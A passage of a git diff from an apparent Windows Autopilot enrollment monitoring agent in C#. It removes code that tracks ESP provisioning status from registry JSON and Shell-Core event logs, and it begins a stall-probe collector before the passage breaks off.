{subcategories.Count} subcategories succeeded " + - $"but categorySucceeded was not confirmed by Windows — treating as complete (fallback after {DeviceSetupFallbackDelaySeconds}s)", - Data = new Dictionary - { - { "category", "DeviceSetup" }, - { "categorySucceeded", "in_progress" }, - { "fallbackApplied", true }, - { "fallbackReason", "all_subcategories_succeeded_category_unresolved" }, - { "fallbackDelaySeconds", DeviceSetupFallbackDelaySeconds }, - { "subcategoryCount", subcategories.Count }, - { "subcategories", subcatData } - } - }); - - _deviceSetupProvisioningCompleteFired = true; - try { DeviceSetupProvisioningComplete?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("DeviceSetupProvisioningComplete handler failed (fallback path)", ex); } - } - } - catch (Exception ex) - { - _logger.Error($"DeviceSetup fallback timer callback failed: {ex.Message}", ex); - } - } - - /// - /// Processes a single category status JSON value. - /// Emits events on first-seen, subcategory state transitions, and categorySucceeded resolution. - /// - internal ProvisioningResult ProcessCategoryStatus(string categoryName, string jsonValue) - { - var categoryLabel = categoryName.Replace("Category.Status", ""); - - try - { - using (var doc = JsonDocument.Parse(jsonValue)) - { - var root = doc.RootElement; - - bool? categorySucceeded = SafeGetBool(root, "categorySucceeded"); - string categoryStatusMessage = SafeGetString(root, "categoryStatusMessage"); - var subcategories = ParseSubcategories(root); - - // Detect WhiteGlove signal in DeviceSetup category. - // SaveWhiteGloveSuccessResult is NOT a *Subcategory-suffixed property, so - // ParseSubcategories skips it. We scan the raw JSON explicitly. - // Track state transitions for full observability (notStarted → succeeded). - if (string.Equals(categoryLabel, "DeviceSetup", StringComparison.OrdinalIgnoreCase)) - { - foreach (var prop in root.EnumerateObject()) - { - if (prop.Name.IndexOf("SaveWhiteGloveSuccessResult", StringComparison.OrdinalIgnoreCase) >= 0 - && prop.Value.ValueKind == JsonValueKind.Object) - { - var state = SafeGetString(prop.Value, "subcategoryState") ?? "unknown"; - - if (!string.Equals(state, _lastSaveWhiteGloveState, StringComparison.OrdinalIgnoreCase)) - { - var previousState = _lastSaveWhiteGloveState ?? "not_seen"; - _lastSaveWhiteGloveState = state; - - _logger.Info($"ProvisioningStatusTracker: SaveWhiteGloveSuccessResult state " + - $"transition: {previousState} -> {state}"); - - EmitRawRegistryDump(categoryLabel, jsonValue, - $"whiteglove_signal_{state}"); - - if (string.Equals(state, "succeeded", StringComparison.OrdinalIgnoreCase)) - { - _saveWhiteGloveSuccessResultSeen = true; - _logger.Info("ProvisioningStatusTracker: SaveWhiteGloveSuccessResult=succeeded " + - "— WhiteGlove confirmation signal"); - } - } - break; - } - } - } - - string statusText; - if (categoryStatusMessage != null) - statusText = categoryStatusMessage; - else if (categorySucceeded == true) - statusText = "Complete"; - else if (categorySucceeded == false) - statusText = "Failed"; - else - statusText = BuildProgressSummary(subcategories); - - bool isFirstSeen = !_provisioningCategorySeen.Contains(categoryName); - bool categorySucceededChanged = HasCategorySucceededChanged(categoryName, categorySucceeded); - - _logger.Trace($"ProcessCategory: {categoryLabel} — succeeded={categorySucceeded?.ToString() ?? "null"}, " + - $"isFirstSeen={isFirstSeen}, succeededChanged={categorySucceededChanged}, " + - $"subcategories={subcategories.Count} [{string.Join(", ", subcategories.Select(s => $"{s.Name}={s.State}"))}]"); - - if (isFirstSeen) - { - _logger.Trace($"ProcessCategory: {categoryLabel} — EMITTING first-seen event"); - _provisioningCategorySeen.Add(categoryName); - _lastCategorySucceeded[categoryName] = categorySucceeded; - StoreSubcategoryStates(categoryName, subcategories); - EmitProvisioningEvent(categoryLabel, categorySucceeded, statusText, subcategories, EventSeverity.Info); - EmitRawRegistryDump(categoryLabel, jsonValue, "first_seen"); - } - else if (categorySucceededChanged) - { - _logger.Trace($"ProcessCategory: {categoryLabel} — EMITTING categorySucceeded change ({_lastCategorySucceeded[categoryName]?.ToString() ?? "null"} → {categorySucceeded?.ToString() ?? "null"})"); - _lastCategorySucceeded[categoryName] = categorySucceeded; - StoreSubcategoryStates(categoryName, subcategories); - var severity = categorySucceeded == false ? EventSeverity.Warning : EventSeverity.Info; - EmitProvisioningEvent(categoryLabel, categorySucceeded, statusText, subcategories, severity); - EmitRawRegistryDump(categoryLabel, jsonValue, $"category_resolved_{(categorySucceeded == true ? "success" : "failed")}"); - } - else - { - var transitions = DetectSubcategoryTransitions(categoryName, subcategories); - StoreSubcategoryStates(categoryName, subcategories); - - var failureTransitions = transitions.Where(t => t.IsFailure).ToList(); - if (transitions.Count > 0) - { - _logger.Trace($"ProcessCategory: {categoryLabel} — subcategory transitions: " + - string.Join(", ", transitions.Select(t => $"{t.SubcategoryName}: {t.OldState}→{t.NewState} (failure={t.IsFailure})"))); - } - - if (failureTransitions.Count > 0) - { - _logger.Trace($"ProcessCategory: {categoryLabel} — EMITTING failure transition event"); - EmitProvisioningEvent(categoryLabel, categorySucceeded, statusText, subcategories, EventSeverity.Warning, failureTransitions); - } - else if (transitions.Count > 0) - { - _logger.Trace($"ProcessCategory: {categoryLabel} — EMITTING subcategory transition event"); - EmitProvisioningEvent(categoryLabel, categorySucceeded, statusText, subcategories, EventSeverity.Info, transitions); - } - else - { - _logger.Trace($"ProcessCategory: {categoryLabel} — EMITTING progress update (JSON changed, no state transitions)"); - EmitProvisioningEvent(categoryLabel, categorySucceeded, statusText, subcategories, EventSeverity.Info); - } - } - - if (categorySucceeded.HasValue) - _provisioningCategoriesResolved.Add(categoryName); - - if (categorySucceeded == false) - { - return TryFireProvisioningFailure(categoryName, categoryLabel, subcategories); - } - - var failedSub = FindFailedSubcategory(subcategories); - if (failedSub != null && categorySucceeded == null) - { - return TryFireProvisioningFailure(categoryName, categoryLabel, subcategories); - } - - return ProvisioningResult.NoAction; - } - } - catch (JsonException ex) - { - _logger.Warning($"Failed to parse provisioning status JSON for {categoryLabel}: {ex.Message}"); - return ProvisioningResult.NoAction; - } - catch (Exception ex) - { - _logger.Warning($"Unexpected error processing provisioning status for {categoryLabel}: {ex.Message}"); - return ProvisioningResult.NoAction; - } - } - - private ProvisioningResult TryFireProvisioningFailure(string categoryName, string categoryLabel, List subcategories) - { - if (_provisioningFailureFired.Contains(categoryName)) - return ProvisioningResult.NoAction; - - _provisioningFailureFired.Add(categoryName); - - var failedSubcategory = FindFailedSubcategory(subcategories); - var failureTypeName = failedSubcategory != null - ? $"Provisioning_{categoryLabel}_{failedSubcategory}_Failed" - : $"Provisioning_{categoryLabel}_Failed"; - - _logger.Info($"Provisioning subcategory failure: {categoryLabel}/{failedSubcategory ?? "category-level"} — escalating as {failureTypeName}"); - _logger.Warning($"Provisioning failure detected: {failureTypeName}"); - return ProvisioningResult.Failure(failureTypeName); - } - - private bool HasCategorySucceededChanged(string categoryName, bool? newValue) - { - if (!_lastCategorySucceeded.TryGetValue(categoryName, out var oldValue)) - return false; - return oldValue != newValue; - } - - private void StoreSubcategoryStates(string categoryName, List subcategories) - { - var states = new Dictionary(StringComparer.OrdinalIgnoreCase); - foreach (var sub in subcategories) - states[sub.Name] = sub.State; - _lastSubcategoryStates[categoryName] = states; - } - - private List DetectSubcategoryTransitions(string categoryName, List subcategories) - { - var transitions = new List(); - - if (!_lastSubcategoryStates.TryGetValue(categoryName, out var lastStates)) - return transitions; - - foreach (var sub in subcategories) - { - if (!lastStates.TryGetValue(sub.Name, out var oldState)) - continue; - - if (string.Equals(oldState, sub.State, StringComparison.OrdinalIgnoreCase)) - continue; - - bool isFailure = string.Equals(sub.State, "failed", StringComparison.OrdinalIgnoreCase); - bool isCompletion = string.Equals(sub.State, "succeeded", StringComparison.OrdinalIgnoreCase) - && !string.Equals(oldState, "succeeded", StringComparison.OrdinalIgnoreCase); - - bool isNoise = string.Equals(oldState, "notStarted", StringComparison.OrdinalIgnoreCase) - && string.Equals(sub.State, "in_progress", StringComparison.OrdinalIgnoreCase); - - if (isFailure || isCompletion) - { - transitions.Add(new SubcategoryTransition(sub.Name, oldState, sub.State, isFailure)); - } - else if (!isNoise) - { - if (isFailure) - transitions.Add(new SubcategoryTransition(sub.Name, oldState, sub.State, true)); - } - } - - return transitions; - } - - private void EmitProvisioningEvent(string categoryLabel, bool? succeeded, string statusText, - List subcategories, EventSeverity severity, - List transitions = null) - { - var eventData = new Dictionary - { - { "category", categoryLabel }, - { "categorySucceeded", succeeded?.ToString() ?? "in_progress" }, - { "categoryStatusMessage", statusText } - }; - - if (subcategories.Count > 0) - { - var subcatData = new Dictionary(); - foreach (var sub in subcategories) - { - subcatData[sub.Name] = new Dictionary - { - { "state", sub.State }, - { "statusText", sub.StatusText } - }; - } - eventData["subcategories"] = subcatData; - } - - if (transitions != null && transitions.Count > 0) - { - eventData["changeType"] = "subcategory_state_change"; - var transitionData = new List>(); - foreach (var t in transitions) - { - transitionData.Add(new Dictionary - { - { "subcategory", t.SubcategoryName }, - { "previousState", t.OldState }, - { "newState", t.NewState } - }); - } - eventData["transitions"] = transitionData; - - // Flat top-level field for RuleEngine matching — the RuleEngine cannot - // traverse nested collections via dataField, so we expose the names of - // subcategories that just transitioned to "failed" as a comma-separated - // string. Names come from registry keys and are language-invariant. - var failedNames = transitions - .Where(t => t.IsFailure) - .Select(t => t.SubcategoryName) - .ToList(); - if (failedNames.Count > 0) - { - eventData["failedSubcategories"] = string.Join(",", failedNames); - } - } - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.EspProvisioningStatus, - Severity = severity, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"ESP provisioning status: {categoryLabel} — {statusText}", - Data = eventData - }); - - _logger.Info($"Provisioning status event: {categoryLabel} — {statusText} (succeeded={succeeded?.ToString() ?? "in_progress"})"); - } - - private void EmitRawRegistryDump(string categoryLabel, string rawJson, string trigger) - { - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_provisioning_raw", - Severity = EventSeverity.Trace, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"ESP provisioning raw registry: {categoryLabel} ({trigger})", - Data = new Dictionary - { - { "category", categoryLabel }, - { "trigger", trigger }, - { "registryValue", $"{categoryLabel}Category.Status" }, - { "rawJson", rawJson } - } - }); - } - - // ===================================================================== - // JSON parsing helpers (static — exposed as internal for tests) - // ===================================================================== - - internal static List ParseSubcategories(JsonElement root) - { - var result = new List(); - - foreach (var prop in root.EnumerateObject()) - { - if (prop.Name.IndexOf("Subcategory", StringComparison.OrdinalIgnoreCase) < 0) - continue; - - var name = CleanSubcategoryName(prop.Name); - - switch (prop.Value.ValueKind) - { - case JsonValueKind.String: - var text = prop.Value.GetString() ?? ""; - result.Add(new SubcategoryInfo - { - Name = name, - State = InferStateFromText(text), - StatusText = text - }); - break; - - case JsonValueKind.Object: - result.Add(new SubcategoryInfo - { - Name = name, - State = SafeGetString(prop.Value, "subcategoryState") ?? "unknown", - StatusText = SafeGetString(prop.Value, "subcategoryStatusText") ?? "" - }); - break; - - default: - result.Add(new SubcategoryInfo - { - Name = name, - State = "unknown", - StatusText = prop.Value.ToString() - }); - break; - } - } - - return result; - } - - /// - /// Cleans a subcategory property name to a readable short name. - /// "AccountSetup.CertificatesSubcategory" -> "Certificates" - /// "SecurityPoliciesSubcategory" -> "SecurityPolicies" - /// - internal static string CleanSubcategoryName(string rawName) - { - var name = rawName; - - var idx = name.IndexOf("Subcategory", StringComparison.OrdinalIgnoreCase); - if (idx >= 0) - name = name.Substring(0, idx); - - var dotIdx = name.LastIndexOf('.'); - if (dotIdx >= 0 && dotIdx < name.Length - 1) - name = name.Substring(dotIdx + 1); - - return string.IsNullOrEmpty(name) ? rawName : name; - } - - internal static string InferStateFromText(string text) - { - if (string.IsNullOrEmpty(text)) - return "unknown"; - - if (text.IndexOf("Complete", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("applied", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("installed", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("added", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("No setup needed", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("Identified", StringComparison.OrdinalIgnoreCase) >= 0) - { - return "succeeded"; - } - - if (text.IndexOf("Error", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("Failed", StringComparison.OrdinalIgnoreCase) >= 0 - || text.IndexOf("Failure", StringComparison.OrdinalIgnoreCase) >= 0) - { - return "failed"; - } - - return "in_progress"; - } - - internal static string FindFailedSubcategory(List subcategories) - { - foreach (var sub in subcategories) - { - if (string.Equals(sub.State, "failed", StringComparison.OrdinalIgnoreCase)) - return sub.Name; - } - return null; - } - - internal static string BuildProgressSummary(List subcategories) - { - if (subcategories.Count == 0) - return "In progress"; - - var succeeded = subcategories.Count(s => - string.Equals(s.State, "succeeded", StringComparison.OrdinalIgnoreCase) - || string.Equals(s.State, "notRequired", StringComparison.OrdinalIgnoreCase)); - - var failed = subcategories.Count(s => - string.Equals(s.State, "failed", StringComparison.OrdinalIgnoreCase)); - - if (failed > 0) - return $"{failed} of {subcategories.Count} subcategories failed"; - - return $"{succeeded} of {subcategories.Count} subcategories completed"; - } - - internal static bool? SafeGetBool(JsonElement element, string propertyName) - { - if (!element.TryGetProperty(propertyName, out var prop)) - return null; - - switch (prop.ValueKind) - { - case JsonValueKind.True: return true; - case JsonValueKind.False: return false; - case JsonValueKind.String: - return bool.TryParse(prop.GetString(), out var parsed) ? parsed : (bool?)null; - default: return null; - } - } - - internal static string SafeGetString(JsonElement element, string propertyName) - { - if (!element.TryGetProperty(propertyName, out var prop)) - return null; - - return prop.ValueKind == JsonValueKind.String ? prop.GetString() : null; - } - - // ===================================================================== - // Internal types - // ===================================================================== - - internal class SubcategoryInfo - { - public string Name { get; set; } - public string State { get; set; } // "succeeded", "failed", "in_progress", "unknown", "notRequired" - public string StatusText { get; set; } - } - - internal readonly struct SubcategoryTransition - { - public readonly string SubcategoryName; - public readonly string OldState; - public readonly string NewState; - public readonly bool IsFailure; - - public SubcategoryTransition(string subcategoryName, string oldState, string newState, bool isFailure) - { - SubcategoryName = subcategoryName; - OldState = oldState; - NewState = newState; - IsFailure = isFailure; - } - } - - internal readonly struct ProvisioningResult - { - public readonly bool IsFailed; - public readonly string FailureType; - - private ProvisioningResult(bool isFailed, string failureType) - { - IsFailed = isFailed; - FailureType = failureType; - } - - public static ProvisioningResult NoAction => new ProvisioningResult(false, null); - public static ProvisioningResult Failure(string failureType) => new ProvisioningResult(true, failureType); - } - - // ===================================================================== - // Test seams - // ===================================================================== - - /// Test-only: drive ProcessCategoryStatus without registry access. - internal ProvisioningResult ProcessCategoryStatusForTest(string categoryName, string jsonValue) - { - lock (_stateLock) - { - EnsureStateDictionariesInitialized(); - return ProcessCategoryStatus(categoryName, jsonValue); - } - } - - private void EnsureStateDictionariesInitialized() - { - if (_lastProvisioningJson == null) - _lastProvisioningJson = new Dictionary(StringComparer.OrdinalIgnoreCase); - if (_provisioningCategorySeen == null) - _provisioningCategorySeen = new HashSet(StringComparer.OrdinalIgnoreCase); - if (_lastCategorySucceeded == null) - _lastCategorySucceeded = new Dictionary(StringComparer.OrdinalIgnoreCase); - if (_provisioningFailureFired == null) - _provisioningFailureFired = new HashSet(StringComparer.OrdinalIgnoreCase); - if (_provisioningCategoriesResolved == null) - _provisioningCategoriesResolved = new HashSet(StringComparer.OrdinalIgnoreCase); - if (_lastSubcategoryStates == null) - _lastSubcategoryStates = new Dictionary>(StringComparer.OrdinalIgnoreCase); - } - } - - /// - /// Immutable snapshot of ESP provisioning category status at a point in time. - /// Used to attach to enrollment_complete events and for settle-wait decisions. - /// - public class EspProvisioningSnapshot - { - /// Per-category outcome: "success", "failed", or "in_progress". - public Dictionary CategoryOutcomes { get; set; } - - /// Per-category subcategory detail: subcategoryName -> state string. - public Dictionary> SubcategoryStates { get; set; } - - /// Number of categories seen in the registry. - public int CategoriesSeen { get; set; } - - /// Number of categories that have a final categorySucceeded value. - public int CategoriesResolved { get; set; } - - /// True if all seen categories are resolved (or none seen). - public bool AllResolved { get; set; } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ShellCoreTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ShellCoreTracker.cs deleted file mode 100644 index a36eb7dd..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ShellCoreTracker.cs +++ /dev/null @@ -1,382 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics.Eventing.Reader; -using System.Text.RegularExpressions; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Watches Microsoft-Windows-Shell-Core/Operational for ESP-related events: - /// 62404 — CloudExperienceHost Web App Activity Started (CXID: 'AADHello' / 'NGC' = Hello wizard) - /// 62407 — CloudExperienceHost Web App Event 2: - /// CommercialOOBE_ESPProgress_Page_Exiting — normal ESP exit - /// CommercialOOBE_ESPProgress_WhiteGlove_Success — WhiteGlove complete - /// CommercialOOBE_ESPProgress_Failure/_Timeout/_Abort/WhiteGlove_Failed — ESP failure - /// - /// Raises , , - /// and . Cross-notifies the - /// on Hello wizard start and ESP exit so Hello timers can react. - /// - internal sealed class ShellCoreTracker : IDisposable - { - internal const string ShellCoreEventLogChannel = "Microsoft-Windows-Shell-Core/Operational"; - internal const int EventId_ShellCore_WebAppStarted = 62404; - internal const int EventId_ShellCore_WebAppEvent = 62407; - internal const int BackfillLookbackMinutes = 5; - - private static readonly HashSet TrackedShellCoreEventIds = new HashSet - { - EventId_ShellCore_WebAppStarted, - EventId_ShellCore_WebAppEvent - }; - - private static readonly Regex EspExitingPattern = new Regex( - @"OOBE_ESP.*Exiting", RegexOptions.IgnoreCase | RegexOptions.Compiled); - - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly HelloTracker _helloTracker; - - private EventLogWatcher _watcher; - private bool _espExitDetected; - private bool _whiteGloveDetected; - private readonly object _stateLock = new object(); - - public event EventHandler FinalizingSetupPhaseTriggered; - public event EventHandler WhiteGloveCompleted; - public event EventHandler EspFailureDetected; - - public ShellCoreTracker( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - HelloTracker helloTracker) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _helloTracker = helloTracker; // nullable — HelloTracker may be unavailable in some test setups - } - - internal bool IsEspExitedForTest { get { lock (_stateLock) { return _espExitDetected; } } } - internal bool IsWhiteGloveDetectedForTest { get { lock (_stateLock) { return _whiteGloveDetected; } } } - - public void Start() - { - try - { - var query = new EventLogQuery( - ShellCoreEventLogChannel, - PathType.LogName, - "*[System[(EventID=62404 or EventID=62407)]]"); - - _watcher = new EventLogWatcher(query); - _watcher.EventRecordWritten += OnEventRecordWritten; - _watcher.Enabled = true; - - _logger.Info($"Started watching: {ShellCoreEventLogChannel}"); - } - catch (EventLogNotFoundException) - { - _logger.Warning($"Event log not found: {ShellCoreEventLogChannel} (normal if not on a real device)"); - } - catch (Exception ex) - { - _logger.Error("Failed to start Shell-Core event log watcher", ex); - } - } - - public void Stop() - { - if (_watcher == null) return; - try - { - _watcher.Enabled = false; - _watcher.EventRecordWritten -= OnEventRecordWritten; - _watcher.Dispose(); - } - catch (Exception ex) { _logger.Error("Error stopping Shell-Core event watcher", ex); } - finally { _watcher = null; } - } - - public void Dispose() => Stop(); - - // ===================================================================== - // Live event handler - // ===================================================================== - - private void OnEventRecordWritten(object sender, EventRecordWrittenEventArgs e) - { - if (e.EventRecord == null) return; - - try - { - var record = e.EventRecord; - if (!TrackedShellCoreEventIds.Contains(record.Id)) return; - - var description = record.FormatDescription() ?? $"Event ID {record.Id}"; - var timestamp = (record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime(); - - ProcessEvent(record.Id, description, timestamp, record.ProviderName ?? "", isBackfill: false); - } - catch (Exception ex) - { - _logger.Error("Error processing Shell-Core event record", ex); - } - } - - /// - /// Core event-processing logic. Exposed as internal so tests can drive it without - /// needing to synthesize an (abstract + Windows-only). - /// - internal void ProcessEvent(int eventId, string description, DateTime timestamp, string providerName, bool isBackfill) - { - string eventType; - EventSeverity severity = EventSeverity.Info; - string message; - bool triggerFinalizingSetup = false; - string finalizingSetupReason = null; - string detectedFailureType = null; - - switch (eventId) - { - case EventId_ShellCore_WebAppStarted: // 62404 - if (description.Contains("AADHello") || description.Contains("'NGC'")) - { - eventType = "hello_wizard_started"; - message = "Windows Hello wizard started (CloudExperienceHost)"; - triggerFinalizingSetup = true; - finalizingSetupReason = "hello_wizard_started"; - - _helloTracker?.NotifyHelloWizardStarted(); - - _logger.Info("Windows Hello wizard started - detected via Shell-Core event 62404"); - } - else - { - return; - } - break; - - case EventId_ShellCore_WebAppEvent: // 62407 - if (description.IndexOf("WhiteGlove_Success", StringComparison.OrdinalIgnoreCase) >= 0) - { - // Fire-once guard - lock (_stateLock) - { - if (_whiteGloveDetected) return; - _whiteGloveDetected = true; - } - - eventType = "whiteglove_complete"; - message = "WhiteGlove (Pre-Provisioning) completed successfully"; - // No FinalizingSetup transition — WhiteGlove terminates pre-provisioning entirely - - _logger.Info("WhiteGlove (Pre-Provisioning) success detected via Shell-Core event 62407"); - } - else if (HasEspFailurePattern(description)) - { - detectedFailureType = ExtractEspFailureType(description); - eventType = "esp_failure"; - severity = EventSeverity.Error; - message = $"ESP (Enrollment Status Page) reported a failure: {detectedFailureType}"; - _logger.Warning($"ESP failure detected via Shell-Core event 62407: {detectedFailureType}"); - } - else if (EspExitingPattern.IsMatch(description)) - { - eventType = "esp_exiting"; - message = "ESP (Enrollment Status Page) phase exiting"; - triggerFinalizingSetup = true; - finalizingSetupReason = "esp_exiting"; - - lock (_stateLock) - { - _espExitDetected = true; - // Note: We do NOT start the Hello wait timer here! - // Event 62407 occurs at every ESP phase transition (Device->Account, Account->End) - // EnrollmentTracker will decide based on lastEspPhase whether to start the timer - } - _helloTracker?.NotifyEspExited(); - - _logger.Info("ESP phase exit detected - detected via Shell-Core event 62407"); - } - else - { - return; - } - break; - - default: - return; - } - - var eventData = new Dictionary - { - { "windowsEventId", eventId }, - { "providerName", providerName ?? "" }, - { "description", description }, - { "eventLogChannel", ShellCoreEventLogChannel }, - { "eventTime", timestamp.ToString("o") } - }; - - if (eventType == "esp_failure" && detectedFailureType != null) - { - eventData["failureType"] = detectedFailureType; - } - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - Timestamp = timestamp, - EventType = eventType, - Severity = severity, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = eventData, - ImmediateUpload = true - }); - - _logger.Info($"Shell-Core event detected: {eventType} (EventID {eventId})"); - - if (triggerFinalizingSetup) - { - try { FinalizingSetupPhaseTriggered?.Invoke(this, finalizingSetupReason); } - catch (Exception ex) { _logger.Error("FinalizingSetupPhaseTriggered handler failed", ex); } - } - - // Fire WhiteGloveCompleted AFTER event emission so the whiteglove_complete event - // is in the spool before the agent exits. - if (eventType == "whiteglove_complete") - { - try { WhiteGloveCompleted?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("WhiteGloveCompleted handler failed", ex); } - } - - // Fire EspFailureDetected AFTER event emission so the esp_failure event is in the - // spool before the agent potentially shuts down. - if (eventType == "esp_failure" && detectedFailureType != null) - { - try { EspFailureDetected?.Invoke(this, detectedFailureType); } - catch (Exception ex) { _logger.Error($"EspFailureDetected handler failed for '{detectedFailureType}'", ex); } - } - } - - // ===================================================================== - // Backfill (public — called by coordinator) - // ===================================================================== - - /// - /// Backfills recent ESP exit and failure events from Shell-Core log on startup. - /// Secondary recovery mechanism when state persistence is unavailable. - /// - public void BackfillRecentEspExitEvents() - { - try - { - var lookbackMs = BackfillLookbackMinutes * 60 * 1000; - var query = new EventLogQuery( - ShellCoreEventLogChannel, - PathType.LogName, - $"*[System[(EventID=62407) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]"); - - using (var reader = new EventLogReader(query)) - { - for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent()) - { - using (record) - { - var description = record.FormatDescription() ?? ""; - HandleBackfillRecord(description); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"ESP exit/failure event backfill failed: {ex.Message}"); - } - } - - /// - /// Internal backfill record handler — extracted for testability and to keep the - /// backfill loop free of direct event-processing logic. - /// - internal void HandleBackfillRecord(string description) - { - if (EspExitingPattern.IsMatch(description)) - { - bool shouldNotify = false; - lock (_stateLock) - { - if (!_espExitDetected) - { - _espExitDetected = true; - shouldNotify = true; - } - } - if (shouldNotify) - { - _helloTracker?.NotifyEspExited(); - _logger.Info("Backfill: ESP exit event found in recent Shell-Core logs"); - try { FinalizingSetupPhaseTriggered?.Invoke(this, "esp_exiting"); } - catch (Exception ex) { _logger.Error("Backfill: FinalizingSetupPhaseTriggered handler failed", ex); } - } - } - - if (HasEspFailurePattern(description)) - { - var failureType = ExtractEspFailureType(description); - _logger.Info($"Backfill: ESP failure event found in recent Shell-Core logs: {failureType}"); - try { EspFailureDetected?.Invoke(this, failureType); } - catch (Exception ex) { _logger.Error($"Backfill: EspFailureDetected handler failed for '{failureType}'", ex); } - } - } - - // ===================================================================== - // Pattern helpers - // ===================================================================== - - internal static bool HasEspFailurePattern(string description) - { - return description.IndexOf("ESPProgress_Failure", StringComparison.OrdinalIgnoreCase) >= 0 - || description.IndexOf("ESPProgress_Failed", StringComparison.OrdinalIgnoreCase) >= 0 - || description.IndexOf("ESPProgress_Timeout", StringComparison.OrdinalIgnoreCase) >= 0 - || description.IndexOf("ESPProgress_Abort", StringComparison.OrdinalIgnoreCase) >= 0 - || description.IndexOf("WhiteGlove_Failed", StringComparison.OrdinalIgnoreCase) >= 0 - || description.IndexOf("WhiteGlove_Failure", StringComparison.OrdinalIgnoreCase) >= 0; - } - - /// - /// Extracts a structured failure type from the Shell-Core event description. - /// Returns e.g. "ESPProgress_Failure", "ESPProgress_Timeout", "WhiteGlove_Failed", - /// or "Unknown_ESP_Failure" as a fallback. - /// - internal static string ExtractEspFailureType(string description) - { - string[] knownTypes = { - "ESPProgress_Failure", - "ESPProgress_Failed", - "ESPProgress_Timeout", - "ESPProgress_Abort", - "WhiteGlove_Failed", - "WhiteGlove_Failure" - }; - - foreach (var type in knownTypes) - { - if (description.IndexOf(type, StringComparison.OrdinalIgnoreCase) >= 0) - return type; - } - - return "Unknown_ESP_Failure"; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/StallProbeCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/StallProbeCollector.cs deleted file mode 100644 index 9637c54b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/StallProbeCollector.cs +++ /dev/null @@ -1,551 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics.Eventing.Reader; -using System.IO; -using System.Linq; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Ebene 2 — Defensive deep probes that run only when enrollment has been silent for a while. - /// - /// The collector is NOT a timer of its own. Instead, it is invoked from - /// (which runs every 60 s for the - /// entire agent lifetime). On each tick the collector inspects the idle duration and fires - /// a full scan at the configured thresholds (default: 2, 15, 30, 60, 180 min). - /// - /// Each probe scans up to four read-only sources (all wrapped in try/catch + hard timeout): - /// 1. Provisioning registry (HKLM\SOFTWARE\Microsoft\Provisioning\AutopilotSettings) - /// 2. Diagnostics registry (HKLM\SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot) - /// 3. Windows event logs (ModernDeployment + Shell-Core + Application) - /// 4. AppWorkload.log tail (IME ESP app install state) - /// - /// The probe classifies the outcome as: - /// - anomaly → stall_probe_result (Warning) + optional EspFailureDetected - /// - activeInstalls → positive signal (healthy-in-progress), no alarm - /// - quiet → nothing found in any source - /// - /// Output policy (configurable via StallProbeTraceIndices, default = [2]): - /// - Trace-indexed probes: emit a stall_probe_check Trace event on quiet/activeInstalls. - /// - Non-trace probes: emit nothing when no anomaly is found (agent log only). - /// - Anomaly found: always emit stall_probe_result Warning (plus EspFailureDetected if terminal). - /// - Probe index configured as "session-stalled": emit fire-once session_stalled Warning. - /// - public class StallProbeCollector - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly AgentLogger _logger; - private readonly int[] _thresholdsMinutes; - private readonly HashSet _traceIndices; - private readonly HashSet _sources; - private readonly int _sessionStalledAfterProbeIndex; - private readonly HashSet _harmlessModernDeploymentEventIds; - - private readonly object _stateLock = new object(); - private readonly HashSet _firedProbeIndices = new HashSet(); - private bool _sessionStalledFired; - - public event EventHandler EspFailureDetected; - - // Per-source hard timeouts (ms) - private const int RegistryScanTimeoutMs = 500; - private const int DiagnosticsRegistryScanTimeoutMs = 500; - private const int EventLogScanTimeoutMs = 2000; - private const int AppWorkloadTailTimeoutMs = 1000; - - // Terminal ESP failure EventIDs in ModernDeployment-Diagnostics-Provider channels. - // Conservative list 